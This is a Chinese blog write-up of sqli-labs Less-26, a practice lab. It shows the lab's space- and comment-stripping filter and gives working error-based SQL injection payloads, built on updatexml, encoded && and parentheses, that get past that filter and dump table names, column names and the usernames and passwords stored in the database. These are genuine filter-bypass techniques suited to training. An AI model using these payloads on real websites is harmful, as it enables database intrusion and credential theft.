当前位置:网站首页>SQL注入 Less26(过滤空格和注释符,使用不带空格的报错注入)
SQL注入 Less26(过滤空格和注释符,使用不带空格的报错注入)
2022-07-28 11:24:00 【华为云】
function blacklist($id){ $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes return $id;}尝试绕过空格
替换空格:
(1)mysql空白符:%09、%0A、%0B、%0D、%20、%0C、%A0、/**/(2)正则空白符:%09、%0A、%0B、%0D、%2025%为百分号,%25A0就是空白符%09——TAB键(水平)%0a——新建一行%0c——新的一页%0d return 功能%0b——TAB键(垂直)%a0——空格==内联注释常用于绕过空格==
尝试了一下,发现绕过不了空格
由于Windows下无法使用一些特殊字符来替换空格,Linux可以,可以去Linux下尝试
不使用空格的注入方法(报错注入)
?id=1'||updatexml(1,concat(0x7e,(database())),1)||'1' ='1?id=1'%26%26updatexml(1,concat('~~',database()),1)%26%26'
%26是&的url编码。
因为and前后都必须要有空格,所以使用&&
但是&&不能够正常的提交给服务器,所以我们必须输入他的url编码%26%26才行。
用||也可以,更好用
?id=1'%26%26updatexml(1,concat('~~',database()),1)%26%26'
?id=1'%26%26updatexml(1,concat('~~',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security"))),1)%26%26'
==注意这里用括号包裹语句,绕过空格==
用括号()将每个查询的部分独立开
?id=1'%26%26updatexml(1,concat("~~",(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema="security"%26%26table_name="users")),0)%26%26'
near 'LIMIT 0,1'
这个问题,之前报错注入也出现过,可能是多出了Limit 0,1导致构不成整条语句了
也有可能是这里(table_schema="security"%26%26table_name="users")出现了问题
?id=1'%26%26updatexml(1,concat("~~",(select(group_concat(username,passwoorrd))from(users))),0)%26%26'
https://blog.csdn.net/weixin_43901998/article/details/107340272
https://blog.csdn.net/weixin_43901998/article/details/107340272
边栏推荐
- Update dev (development version) of the latest win11
- Character function and string function (Part 1)
- 玩转诗词-领略古诗文之美
- Detailed explanation of boost official website search engine project
- [diary of supplementary questions] [2022 Niuke summer multi school 2] l-link with level editor I
- WebView details
- The game process and the underlying implementation are gradually completed
- OSCache cache monitoring Refresh Tool
- Techniques for visualizing large time series.
- Will PFP be the future of digital collections?
猜你喜欢

In order to ensure the normal operation of fire-fighting equipment in large buildings, the power supply monitoring system of fire-fighting equipment plays a key role

A hundred flowers bloom in data analysis engines. Why invest heavily in Clickhouse?

Lua middle__ index、__ Understanding of newindex, rawget and rawset

Docker runs MySQL service

Training mode and practice of digital applied talents in Colleges and Universities under the integration of industry and education

Style conversion model style_ Transformer project instance pytorch implementation

Matlab sets the size of graphics window and image and the position of legend

Service workers let the website dynamically load webp pictures

程序的存储态与运行态

可视化大型时间序列的技巧。
随机推荐
【补题日记】[2022牛客暑期多校2]H-Take the Elevator
Upgrading of computing power under the coordination of software and hardware, redefining productivity
108. Introduction to the usage of SAP ui5 image display control Avatar
R language uses LM function to build regression model, uses the augmented function of bloom package to store the model results in dataframe, and uses ggplot2 to visualize the regression residual diagr
简单选择排序与堆排序
How to make the characters in the photos laugh? HMS core video editing service one click smile function makes people smile more naturally
如何让照片中的人物笑起来?HMS Core视频编辑服务一键微笑功能,让人物笑容更自然
Client service registration of Nacos registry
【补题日记】[2022牛客暑期多校2]I-let fat tension
可视化大型时间序列的技巧。
[leetcode] 8. binary search · binary search
WebView details
Hcip (configuration of GRE and mGRE and OSPF related knowledge)
Learn to use MySQL explain to execute the plan, and SQL performance tuning is no longer difficult
[leetcode] 6. invert binary tree
The game process and the underlying implementation are gradually completed
Unity encountered a pitfall and the AB package failed to unload
业务可视化-让你的流程图'Run'起来(4.实际业务场景测试)
String function (Part 2)
2022.07.11 summer training personal qualifying (VI)